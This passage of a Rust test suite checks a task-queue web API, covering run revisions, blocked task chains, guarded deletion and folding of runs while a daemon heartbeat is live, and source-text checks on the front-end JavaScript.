22020                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
22021                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
22022                "counts": [queue.len(), runs.len(), talks.len()],
22023                "blocked": queue_delta.len() - 1,
22024            })
22025        );
22026    }
22027
22028    #[test]
22029    fn runs_revision_moves_when_deleting_an_older_run() {
22030        let temp = TempDir::new().expect("tempdir");
22031        let runs = temp.path().join("runs");
22032        std::fs::create_dir_all(&runs).expect("create runs dir");
22033
22034        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
22035
22036        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
22037        std::thread::sleep(Duration::from_millis(10));
22038        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
22039
22040        let rev_before = runs_revision(&runs);
22041        assert!(rev_before > 0);
22042
22043        let old_dir = runs.join("20260901-100000-old1");
22044        std::fs::remove_dir_all(&old_dir).expect("remove old run");
22045
22046        let rev_after = runs_revision(&runs);
22047        assert_ne!(
22048            rev_before, rev_after,
22049            "deleting an older run must change the revision so other clients see the deletion"
22050        );
22051    }
22052
22053    /// A run's own `run.json` on an explicit `runs` root, bypassing the
22054    /// process-global home entirely — `RunState::save` writes through
22055    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
22056    /// (see `tests::home_lock` in the integration suite for why).
22057    fn write_state(runs: &FsPath, state: &RunState) {
22058        let dir = runs.join(&state.id);
22059        std::fs::create_dir_all(&dir).expect("run dir");
22060        std::fs::write(
22061            dir.join("run.json"),
22062            serde_json::to_string_pretty(state).expect("serialize run"),
22063        )
22064        .expect("write run.json");
22065    }
22066
22067    /// A seat starting or finishing is a write to `run.json` like any other,
22068    /// so it moves the same revision the change stream already watches —
22069    /// nothing new for `/api/events` to learn, but the property this feature
22070    /// depends on to reach the phone without a poll.
22071    #[test]
22072    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
22073        let temp = TempDir::new().expect("tempdir");
22074        let runs = temp.path().join("runs");
22075        std::fs::create_dir_all(&runs).expect("create runs dir");
22076        let mut state = RunState::new(
22077            PathBuf::from("/repo/magi"),
22078            "main".to_owned(),
22079            "0123456789abcdef".to_owned(),
22080            "task".to_owned(),
22081            Config::default(),
22082        );
22083        state.id = "20260902-100000-c0de".to_owned();
22084        write_state(&runs, &state);
22085
22086        let rev_idle = runs_revision(&runs);
22087        std::thread::sleep(Duration::from_millis(10));
22088        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
22089        write_state(&runs, &state);
22090        let rev_started = runs_revision(&runs);
22091        assert_ne!(
22092            rev_idle, rev_started,
22093            "a seat starting must move the revision"
22094        );
22095
22096        std::thread::sleep(Duration::from_millis(10));
22097        state.seat_finished("judge-1");
22098        write_state(&runs, &state);
22099        let rev_finished = runs_revision(&runs);
22100        assert_ne!(
22101            rev_started, rev_finished,
22102            "and clearing it again must move the revision a second time"
22103        );
22104    }
22105
22106    #[tokio::test]
22107    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
22108        // `TaskView` flattens `Task`, so this is really asserting that
22109        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
22110        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
22111        // never touched web.rs, so nothing here caught it if it had.
22112        let fx = Fixture::start().await;
22113        let q = fx.queue();
22114
22115        let mut t = Task::new(
22116            "Task".to_owned(),
22117            "Instruction".to_owned(),
22118            PathBuf::from("/repo"),
22119            Source::Human,
22120        );
22121        t.block(
22122            vec!["20260101-000000-dead".to_owned()],
22123            Some("waiting on Task 1".to_owned()),
22124        );
22125        t.answers.push(crate::queue::AnsweredQuestion {
22126            question: "Which backend?".to_owned(),
22127            answer: "SQLite".to_owned(),
22128        });
22129        q.put(&mut t).expect("put t");
22130
22131        let res = fx.get("/api/queue").await;
22132        assert_eq!(res.status, 200);
22133        let list = res.json();
22134        let view = list
22135            .as_array()
22136            .expect("array")
22137            .iter()
22138            .find(|v| v["id"] == t.id)
22139            .expect("task in list");
22140        assert_eq!(view["status_str"], "blocked");
22141        assert_eq!(
22142            view["blocked_by"],
22143            serde_json::json!(["20260101-000000-dead"])
22144        );
22145        assert_eq!(view["block_reason"], "waiting on Task 1");
22146        assert_eq!(view["answers"][0]["question"], "Which backend?");
22147        assert_eq!(view["answers"][0]["answer"], "SQLite");
22148
22149        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
22150        // but never `answers` - that is a settled decision, not state
22151        // describing the current block, so it survives.
22152        let res = fx
22153            .post(&format!("/api/queue/{}/hold", t.short()), None)
22154            .await;
22155        assert_eq!(res.status, 200);
22156        let held = res.json();
22157        assert_eq!(held["status_str"], "held");
22158        assert_eq!(held["blocked_by"], serde_json::json!([]));
22159        assert!(held["block_reason"].is_null());
22160        assert_eq!(held["answers"][0]["answer"], "SQLite");
22161    }
22162
22163    #[tokio::test]
22164    async fn task_recovery_pending_decisions_block_disk_autoresume() {
22165        let fx = Fixture::start().await;
22166        let queue = fx.queue();
22167        let questions = fx.questions();
22168        let mut task = Task::new(
22169            "Disk recovery".into(),
22170            "Inspect".into(),
22171            PathBuf::from("/repo"),
22172            Source::Human,
22173        );
22174        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
22175        queue.put(&mut task).unwrap();
22176        let mut records = Vec::new();
22177        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
22178            let mut q = Question::new(
22179                task.id.clone(),
22180                node.into(),
22181                "triage".into(),
22182                "Resume recovery?".into(),
22183                String::new(),
22184                vec![],
22185            );
22186            q.routed_task = Some(task.id.clone());
22187            questions.put(&mut q).unwrap();
22188            records.push(q);
22189        }
22190        let url = format!("/api/queue/{}", task.id);
22191        let view = fx.get(&url).await.json();
22192        assert_eq!(view["status_str"], "held");
22193        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22194        assert!(
22195            view["recovery"]
22196                .as_str()
22197                .unwrap()
22198                .contains("Disk recovery alone will not resume")
22199        );
22200        assert!(
22201            view["recovery"]
22202                .as_str()
22203                .unwrap()
22204                .contains("If no recovery decision is pending")
22205        );
22206        for blocker in view["blockers"].as_array().unwrap() {
22207            assert!(blocker["destination"].is_null());
22208            assert!(
22209                blocker["next"]
22210                    .as_str()
22211                    .unwrap()
22212                    .contains("pending delivery")
22213            );
22214        }
22215        for q in &mut records {
22216            q.routed_chat = Some("owning-chat".into());
22217            questions.put(q).unwrap();
22218        }
22219        let view = fx.get(&url).await.json();
22220        for blocker in view["blockers"].as_array().unwrap() {
22221            assert_eq!(
22222                blocker["destination"],
22223                serde_json::json!(["chat", "owning-chat"])
22224            );
22225            assert_eq!(blocker["resolves_itself"], false);
22226        }
22227        // Answered routed decisions can still be awaiting task-chat application.
22228        for q in &mut records {
22229            q.status = ask::QuestionStatus::Answered;
22230            questions.put(q).unwrap();
22231        }
22232        assert!(crate::triage::pending_for(&questions, &task));
22233        let view = fx.get(&url).await.json();
22234        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22235        assert!(
22236            view["blockers"][0]["next"]
22237                .as_str()
22238                .unwrap()
22239                .contains("not yet applied")
22240        );
22241        for q in &records {
22242            task.mark_triage_applied(&q.id);
22243        }
22244        queue.put(&mut task).unwrap();
22245        assert!(!crate::triage::pending_for(&questions, &task));
22246        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
22247        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
22248    }
22249
22250    #[test]
22251    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
22252        use crate::queue::HoldSource;
22253        let mut task = Task::new(
22254            "Recovery".into(),
22255            "Inspect".into(),
22256            PathBuf::from("/repo"),
22257            Source::Human,
22258        );
22259        assert!(task_recovery(&task).is_none());
22260        task.hold_manual(Some("Operator paused".into()));
22261        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
22262        task.block(vec!["dependency".into()], Some("Decision needed".into()));
22263        let text = task_recovery(&task).unwrap();
22264        assert!(text.contains("restores held"));
22265        assert!(text.contains("clears its dependency references"));
22266        task.hold_source = Some(HoldSource::Machine);
22267        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
22268        let view = TaskView::with_inventory(
22269            task.clone(),
22270            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
22271        );
22272        let json = serde_json::to_value(view).unwrap();
22273        assert_eq!(json["block_reason"], "Decision needed");
22274        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
22275        let recovery = json["recovery"].as_str().unwrap();
22276        assert!(recovery.contains("not current capacity"));
22277        assert!(recovery.contains("triage rechecks"));
22278        assert_eq!(json["blockers"][0]["state"], "missing");
22279        task.blocked_from = Some(TaskStatus::Queued);
22280        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
22281        task.blocked_from = None;
22282        assert!(task_recovery(&task).unwrap().contains("restores held"));
22283    }
22284
22285    #[tokio::test]
22286    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
22287        let fx = Fixture::start().await;
22288        let q = fx.queue();
22289        let mk = |title: &str| {
22290            Task::new(
22291                title.to_owned(),
22292                "Instruction".to_owned(),
22293                PathBuf::from("/repo"),
22294                Source::Human,
22295            )
22296        };
22297        let mut root = mk("root");
22298        root.hold_manual(Some("waiting".to_owned()));
22299        q.put(&mut root).unwrap();
22300        let mut mid = mk("mid");
22301        mid.block(vec![root.id.clone()], None);
22302        q.put(&mut mid).unwrap();
22303        let mut leaf = mk("leaf");
22304        leaf.block(vec![mid.id.clone()], None);
22305        q.put(&mut leaf).unwrap();
22306
22307        let list = fx.get("/api/queue").await.json();
22308        let find = |id: &str| {
22309            list.as_array()
22310                .unwrap()
22311                .iter()
22312                .find(|v| v["id"] == id)
22313                .unwrap()
22314                .clone()
22315        };
22316        let leaf_view = find(&leaf.id);
22317        assert_eq!(
22318            leaf_view["waits_on"],
22319            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
22320        );
22321        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
22322        assert_eq!(
22323            find(&mid.id)["waits_on"],
22324            serde_json::json!([format!("{} (held)", root.short())])
22325        );
22326        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
22327    }
22328
22329    #[tokio::test]
22330    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
22331        let fx = Fixture::start().await;
22332        let q = fx.queue();
22333
22334        // 1. A queued task with runs attached can be deleted.
22335        let mut t1 = Task::new(
22336            "Task 1".to_owned(),
22337            "Instruction 1".to_owned(),
22338            PathBuf::from("/repo"),
22339            Source::Human,
22340        );
22341        let run_id = "20260901-000000-r111";
22342        t1.runs.push(run_id.to_owned());
22343        write_run(&fx.runs(), run_id, RunStatus::Merged);
22344        q.put(&mut t1).expect("put t1");
22345
22346        // Delete by short id
22347        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
22348        assert_eq!(res.status, 204);
22349        assert!(res.body.is_empty(), "204 No Content has no body");
22350        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
22351        assert!(
22352            fx.runs().join(run_id).exists(),
22353            "run directory must not be deleted when its task is deleted"
22354        );
22355
22356        // 2. A task a live daemon is running is refused with 409.
22357        let mut t2 = Task::new(
22358            "Task 2".to_owned(),
22359            "Instruction 2".to_owned(),
22360            PathBuf::from("/repo"),
22361            Source::Human,
22362        );
22363        t2.status = TaskStatus::Running;
22364        q.put(&mut t2).expect("put t2");
22365        let mut beat = crate::daemon::Status::new();
22366        beat.current = vec![crate::daemon::Current {
22367            worker: None,
22368            task: t2.id.clone(),
22369            run: "20260901-000000-r222".to_owned(),
22370        }];
22371        beat.updated_at = jiff::Timestamp::now();
22372        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22373            .expect("publish a heartbeat");
22374        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
22375        assert_eq!(res.status, 409);
22376        assert!(
22377            res.json()["error"]
22378                .as_str()
22379                .unwrap()
22380                .contains("live daemon")
22381        );
22382        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
22383
22384        // 3. The same `running` status and an orphaned lock, with no daemon
22385        // behind either, is a leftover and deletable. Before this the phone
22386        // refused it for good: the status never changes on its own and
22387        // nothing drops a lock whose process is gone.
22388        // The daemon is killed: the file stays, the heartbeat stops.
22389        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
22390        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22391            .expect("leave a stale heartbeat");
22392        let mut t3 = Task::new(
22393            "Task 3".to_owned(),
22394            "Instruction 3".to_owned(),
22395            PathBuf::from("/repo"),
22396            Source::Human,
22397        );
22398        t3.status = TaskStatus::Running;
22399        q.put(&mut t3).expect("put t3");
22400        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
22401        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
22402        assert_eq!(res.status, 204);
22403        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
22404        assert!(
22405            q.claim(&t3.id).is_ok(),
22406            "the stale lock went with it, so the id is claimable again"
22407        );
22408
22409        // 4. Missing id returns 404
22410        let res = fx.delete("/api/queue/nonexistent").await;
22411        assert_eq!(res.status, 404);
22412    }
22413
22414    #[tokio::test]
22415    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
22416        let fx = Fixture::start().await;
22417        let runs = fx.runs();
22418
22419        // 1. Finished and folded run can be deleted along with artifacts
22420        let run_id = "20260901-000000-fold";
22421        let mut state = RunState::new(
22422            PathBuf::from("/repo"),
22423            "main".to_owned(),
22424            "abc".to_owned(),
22425            "instruction".to_owned(),
22426            Config::default(),
22427        );
22428        state.id = run_id.to_owned();
22429        state.status = RunStatus::Merged;
22430        state.candidates.push(crate::run::Candidate {
22431            index: 0,
22432            label: 'A',
22433            agent: "a".to_owned(),
22434            branch: "b".to_owned(),
22435            worktree: PathBuf::from("/w"),
22436            summary: String::new(),
22437            stat: String::new(),
22438            files: 1,
22439            commits: 1,
22440            empty: false,
22441            failed: None,
22442            verified_noop: None,
22443            duration_ms: 0,
22444            folded: true,
22445        });
22446        let dir = runs.join(run_id);
22447        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
22448        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
22449            .expect("write artifact");
22450        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
22451            .expect("write run.json");
22452
22453        // Delete by short id
22454        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
22455        assert_eq!(res.status, 204);
22456        assert!(res.body.is_empty(), "204 has no body");
22457        assert!(!dir.exists(), "run directory and artifacts must be deleted");
22458
22459        // 2. A run a live daemon is working on is refused with 409. The
22460        // heartbeat is what makes it refusable: an unfinished run with no
22461        // daemon behind it is a leftover from a killed process, and case 1
22462        // above would otherwise be impossible to tell apart from this one.
22463        let run_running = "20260901-000000-rung";
22464        write_run(&runs, run_running, RunStatus::Prep);
22465        let mut beat = crate::daemon::Status::new();
22466        beat.current = vec![crate::daemon::Current {
22467            worker: None,
22468            task: "20260901-000000-task".to_owned(),
22469            run: run_running.to_owned(),
22470        }];
22471        beat.updated_at = jiff::Timestamp::now();
22472        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22473            .expect("publish a heartbeat");
22474        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
22475        assert_eq!(res.status, 409);
22476        assert!(
22477            res.json()["error"]
22478                .as_str()
22479                .unwrap()
22480                .contains("live daemon"),
22481            "the refusal must say who is holding it"
22482        );
22483        assert!(
22484            runs.join(run_running).exists(),
22485            "a run in flight keeps its directory"
22486        );
22487
22488        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
22489        let run_unfolded = "20260901-000000-unfd";
22490        let mut state2 = RunState::new(
22491            PathBuf::from("/repo"),
22492            "main".to_owned(),
22493            "abc".to_owned(),
22494            "instruction".to_owned(),
22495            Config::default(),
22496        );
22497        state2.id = run_unfolded.to_owned();
22498        state2.status = RunStatus::Ready;
22499        state2.candidates.push(crate::run::Candidate {
22500            index: 0,
22501            label: 'A',
22502            agent: "a".to_owned(),
22503            branch: "b".to_owned(),
22504            worktree: PathBuf::from("/w"),
22505            summary: String::new(),
22506            stat: String::new(),
22507            files: 1,
22508            commits: 1,
22509            empty: false,
22510            failed: None,
22511            verified_noop: None,
22512            duration_ms: 0,
22513            folded: false,
22514        });
22515        let dir2 = runs.join(run_unfolded);
22516        std::fs::create_dir_all(&dir2).expect("create dir2");
22517        std::fs::write(
22518            dir2.join("run.json"),
22519            serde_json::to_string(&state2).unwrap(),
22520        )
22521        .expect("write run.json");
22522
22523        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
22524        assert_eq!(res.status, 409);
22525        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
22526        assert!(dir2.exists(), "unfolded run directory is kept");
22527
22528        // 4. Missing id returns 404
22529        let res = fx.delete("/api/runs/nonexistent").await;
22530        assert_eq!(res.status, 404);
22531    }
22532
22533    /// The queue tiles on the Stats tab must render even on a home with no
22534    /// runs at all: queue state is not derived from run history, so hiding
22535    /// the whole dashboard body behind "no runs yet" would drop the one
22536    /// thing this tab promises unconditionally (queued/running/held/done).
22537    /// A DOM-level test would need a browser this suite does not have, so
22538    /// this pins the same invariant textually: `renderStatsQueue` is called
22539    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
22540    /// block that gates the run-derived panels.
22541    #[test]
22542    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
22543        let start = APP_JS
22544            .find("function renderStats() {")
22545            .expect("renderStats");
22546        let end = start
22547            + APP_JS[start..]
22548                .find("function statsTile(")
22549                .expect("the next top-level function");
22550        let body = &APP_JS[start..end];
22551
22552        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
22553        let gate_end = gate_start
22554            + body[gate_start..]
22555                .find("}\n  renderStatsQueue")
22556                .expect("the gate's own closing brace, right before the unconditional call");
22557        let gated = &body[gate_start..gate_end];
22558
22559        assert_eq!(
22560            body.matches("renderStatsQueue(").count(),
22561            1,
22562            "renderStats must call renderStatsQueue exactly once: {body}"
22563        );
22564        assert!(
22565            !gated.contains("renderStatsQueue"),
22566            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
22567             run-derived panels on an empty run history - the queue panel has to render \
22568             regardless: {gated}"
22569        );
22570    }
22571
22572    #[test]
22573    fn web_ui_delete_contract_in_front_end() {
22574        // 1. API block has both delete endpoints
22575        assert!(APP_JS.contains("deleteRun:"));
22576        assert!(APP_JS.contains("deleteTask:"));
22577
22578        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
22579        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
22580            ..APP_JS.find("function renderRuns").unwrap()];
22581        assert!(!run_cards_slice.to_lowercase().contains("delete"));
22582
22583        // 3. Run detail has delete entry and reasons
22584        assert!(APP_JS.contains("renderRunDelete"));
22585        assert!(APP_JS.contains("runDeleteReason"));
22586        assert!(APP_JS.contains("magi fold"));
22587        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
22588
22589        // 4. Two-step delete arming and focus on Cancel
22590        assert!(APP_JS.contains("cancel.focus"));
22591        assert!(APP_JS.contains("armedRunDelete"));
22592        assert!(APP_JS.contains("renderTaskDeleteBox"));
22593        assert!(APP_JS.contains("armed${cap(key)}"));
22594
22595        // 5. Running task has disabled delete
22596        assert!(APP_JS.contains("disabled: status === \"running\""));
22597    }
22598
22599    /// Every element a run card's updater reaches for must be in the `refs`
22600    /// the builder handed it.
22601    ///
22602    /// `createRunCard` builds its elements, appends them to the card, and then
22603    /// lists them again in `row.refs`. That second list is the one the updater
22604    /// uses, and nothing connects the two - an element can be built, appended
22605    /// and rendered, and still be missing from `refs`. `superseded` was, for
22606    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
22607    /// exception took `syncList` with it, and the deck showed
22608    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
22609    /// line is computed before the cards, which is why the failure looked like
22610    /// a server that had lost its runs rather than a front end that had
22611    /// stopped rendering them.
22612    ///
22613    /// A `cargo test` cannot execute the front end, so this reads the two
22614    /// halves out of the source and compares them as sets. It is not a check
22615    /// on the wording of either list: adding an element, renaming one, or
22616    /// reordering them all keeps this passing, and only using one the builder
22617    /// never published fails it.
22618    #[test]
22619    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
22620        let build = APP_JS
22621            .find("function createRunCard")
22622            .expect("createRunCard exists");
22623        let update = APP_JS
22624            .find("function updateRunCard")
22625            .expect("updateRunCard exists");
22626        let end = APP_JS
22627            .find("function renderRuns")
22628            .expect("renderRuns exists");
22629
22630        // The builder's published set: the object literal assigned to `refs`.
22631        let builder = &APP_JS[build..update];
22632        let open = builder.find("refs = {").expect("createRunCard sets refs");
22633        let literal = &builder[open + "refs = {".len()..];
22634        let close = literal.find('}').expect("the refs literal is closed");
22635        let published: HashSet<&str> = literal[..close]
22636            .split(',')
22637            // `name` and `name: value` both bind `name`.
22638            .filter_map(|entry| entry.split(':').next())
22639            .map(str::trim)
22640            .filter(|name| !name.is_empty())
22641            .collect();
22642        assert!(
22643            published.len() > 5,
22644            "the refs literal did not parse into names: {published:?}"
22645        );
22646
22647        // What the updaters reach for: every `r.<name>`, where `r` is the
22648        // `const r = row.refs` alias both functions open with.
22649        let mut used: Vec<&str> = Vec::new();
22650        let updaters = &APP_JS[update..end];
22651        for (at, _) in updaters.match_indices("r.") {
22652            // `r` must be the whole identifier, not the tail of another one
22653            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
22654            let before = updaters[..at].chars().next_back();
22655            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
22656                continue;
22657            }
22658            let rest = &updaters[at + 2..];
22659            let len = rest
22660                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
22661                .unwrap_or(rest.len());
22662            if len > 0 {
22663                used.push(&rest[..len]);
22664            }
22665        }
22666        assert!(
22667            used.len() > 5,
22668            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
22669        );
22670
22671        let missing: Vec<&str> = used
22672            .iter()
22673            .copied()
22674            .filter(|name| !published.contains(name))
22675            .collect();
22676        assert!(
22677            missing.is_empty(),
22678            "a run card's updater reaches for {missing:?}, which `createRunCard` \
22679             never put in `refs` - every card will throw and the list will \
22680             render empty under a count line that says otherwise. Published: \
22681             {published:?}"
22682        );
22683    }
22684
22685    #[tokio::test]
22686    async fn folding_from_the_phone_reports_what_it_removed() {
22687        let fx = Fixture::start().await;
22688        let runs = fx.runs();
22689
22690        // A run with no candidates has nothing to fold, which is a 200 with an
22691        // honest count rather than an error: the operator asked for the trees
22692        // to be gone and they are.
22693        let id = "20260901-000000-fold";
22694        write_run(&runs, id, RunStatus::Stalled);
22695        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22696        assert_eq!(res.status, 200);
22697        assert_eq!(res.json()["removed_count"], 0);
22698        assert_eq!(res.json()["run"], id);
22699        assert!(
22700            runs.join(id).exists(),
22701            "a fold keeps the run's record; only the worktrees go"
22702        );
22703    }
22704
22705    #[tokio::test]
22706    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
22707        let fx = Fixture::start().await;
22708        let runs = fx.runs();
22709        let wt = fx.home.path().join("wt").join("magi").join("dead");
22710        let id = "20260901-000000-dead";
22711        std::fs::create_dir_all(runs.join(id)).expect("run dir");
22712        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22713        std::fs::create_dir_all(&wt).expect("worktree dir");
22714
22715        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22716        assert_eq!(res.status, 200, "{}", res.body);
22717        assert!(
22718            res.json()["removed_count"].as_u64().unwrap() > 0,
22719            "the worktree this build could not read a state for still went"
22720        );
22721        assert!(
22722            !runs.join(id).exists(),
22723            "an unreadable run has no candidate list to fold selectively, so \
22724             the whole record goes - same as `magi fold` on the CLI"
22725        );
22726    }
22727
22728    #[tokio::test]
22729    async fn deleting_an_unreadable_run_removes_it_wholesale() {
22730        let fx = Fixture::start().await;
22731        let runs = fx.runs();
22732        let wt = fx.home.path().join("wt").join("magi").join("gone");
22733        let id = "20260901-000000-gone";
22734        std::fs::create_dir_all(runs.join(id)).expect("run dir");
22735        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22736        std::fs::create_dir_all(&wt).expect("worktree dir");
22737
22738        let res = fx.delete(&format!("/api/runs/{id}")).await;
22739        assert_eq!(res.status, 204, "{}", res.body);
22740        assert!(!runs.join(id).exists(), "the broken record is gone");
22741        assert!(!wt.exists(), "its worktree is gone too");
22742    }
22743
22744    #[tokio::test]
22745    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
22746        let fx = Fixture::start().await;
22747        let runs = fx.runs();
22748        let id = "20260901-000000-live";
22749        write_run(&runs, id, RunStatus::Implementing);
22750
22751        let mut beat = crate::daemon::Status::new();
22752        beat.current = vec![crate::daemon::Current {
22753            worker: None,
22754            task: "20260901-000000-task".to_owned(),
22755            run: id.to_owned(),
22756        }];
22757        beat.updated_at = jiff::Timestamp::now();
22758        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22759            .expect("publish a heartbeat");
22760
22761        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22762        assert_eq!(res.status, 409);
22763        assert!(
22764            res.json()["error"]
22765                .as_str()
22766                .unwrap()
22767                .contains("live daemon"),
22768            "folding under a running agent would pull its worktree away"
22769        );
22770    }
22771
22772    #[tokio::test]
22773    async fn fold_merged_requires_a_pr_url() {
22774        let fx = Fixture::start().await;
22775        let runs = fx.runs();
22776        let id = "20260901-000000-nourl";
22777        write_run(&runs, id, RunStatus::Blocked);
22778
22779        let res = fx
22780            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
22781            .await;
22782        assert_eq!(res.status, 400, "{}", res.body);
22783
22784        let blank = fx
22785            .post(
22786                &format!("/api/runs/{id}/fold-merged"),
22787                Some(r#"{"pr_url":"   "}"#),
22788            )
22789            .await;
22790        assert_eq!(blank.status, 400, "{}", blank.body);
22791    }
22792
22793    #[tokio::test]
22794    async fn fold_merged_is_404_for_an_unknown_run() {
22795        let fx = Fixture::start().await;
22796        let res = fx
22797            .post(
22798                "/api/runs/nosuchrun/fold-merged",
22799                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22800            )
22801            .await;
22802        assert_eq!(res.status, 404, "{}", res.body);
22803    }
22804
22805    #[tokio::test]
22806    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
22807        let fx = Fixture::start().await;
22808        let runs = fx.runs();
22809        let id = "20260901-000000-livemerge";
22810        write_run(&runs, id, RunStatus::Blocked);
22811
22812        let mut beat = crate::daemon::Status::new();
22813        beat.current = vec![crate::daemon::Current {
22814            worker: None,
22815            task: "20260901-000000-task".to_owned(),
22816            run: id.to_owned(),
22817        }];
22818        beat.updated_at = jiff::Timestamp::now();
22819        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22820            .expect("publish a heartbeat");
22821
22822        let res = fx
22823            .post(
22824                &format!("/api/runs/{id}/fold-merged"),
22825                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22826            )
22827            .await;
22828        assert_eq!(res.status, 409, "{}", res.body);
22829        assert!(
22830            res.json()["error"]
22831                .as_str()
22832                .unwrap()
22833                .contains("live daemon"),
22834            "correcting a run's merge underneath a running agent would race \
22835             whatever it is doing to the same `status`/`merge` fields"
22836        );
22837    }
22838
22839    /// A pull request `gh` cannot even ask about (no such remote, no such
22840    /// repository) must never be recorded as a merge on a guess - the same
22841    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
22842    /// command line, reached here through the phone route instead.
22843    #[tokio::test]
22844    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
22845        let fx = Fixture::start().await;
22846        let runs = fx.runs();
22847        let id = "20260901-000000-unconfirmed";
22848        write_run(&runs, id, RunStatus::Blocked);
22849
22850        let res = fx
22851            .post(
22852                &format!("/api/runs/{id}/fold-merged"),
22853                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22854            )
22855            .await;
22856        assert_eq!(res.status, 400, "{}", res.body);
22857        assert_eq!(
22858            read_run(&runs, id).unwrap().status,
22859            RunStatus::Blocked,
22860            "a pull request that could not be confirmed merged must leave \
22861             the run exactly where it was"
22862        );
22863    }
22864
22865    #[tokio::test]
22866    async fn terminal_runs_cannot_be_resumed() {
22867        let fx = Fixture::start().await;
22868        let runs = fx.runs();
22869
22870        for (status, word) in [
22871            (RunStatus::Merged, "merged"),
22872            (RunStatus::Ready, "ready"),
22873            (RunStatus::Failed, "failed"),
22874        ] {
22875            let id = format!("20260901-000000-{}", &word[..4]);
22876            write_run(&runs, &id, status);
22877            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
22878            assert_eq!(res.status, 409, "{word} must not be resumable");
22879        }
22880    }
22881
22882    #[tokio::test]
22883    async fn resume_is_refused_while_the_loop_is_running() {
22884        let fx = Fixture::start().await;
22885        let runs = fx.runs();
22886        let stalled = "20260901-000000-stal";
22887        write_run(&runs, stalled, RunStatus::Stalled);
22888
22889        // The loop is busy with a *different* run, and that is still a
22890        // refusal: a manual resume must never race whatever the loop itself
22891        // is already driving, whether that is one run or several.
22892        let mut beat = crate::daemon::Status::new();
22893        beat.current = vec![crate::daemon::Current {
22894            worker: None,
22895            task: "20260901-000000-task".to_owned(),
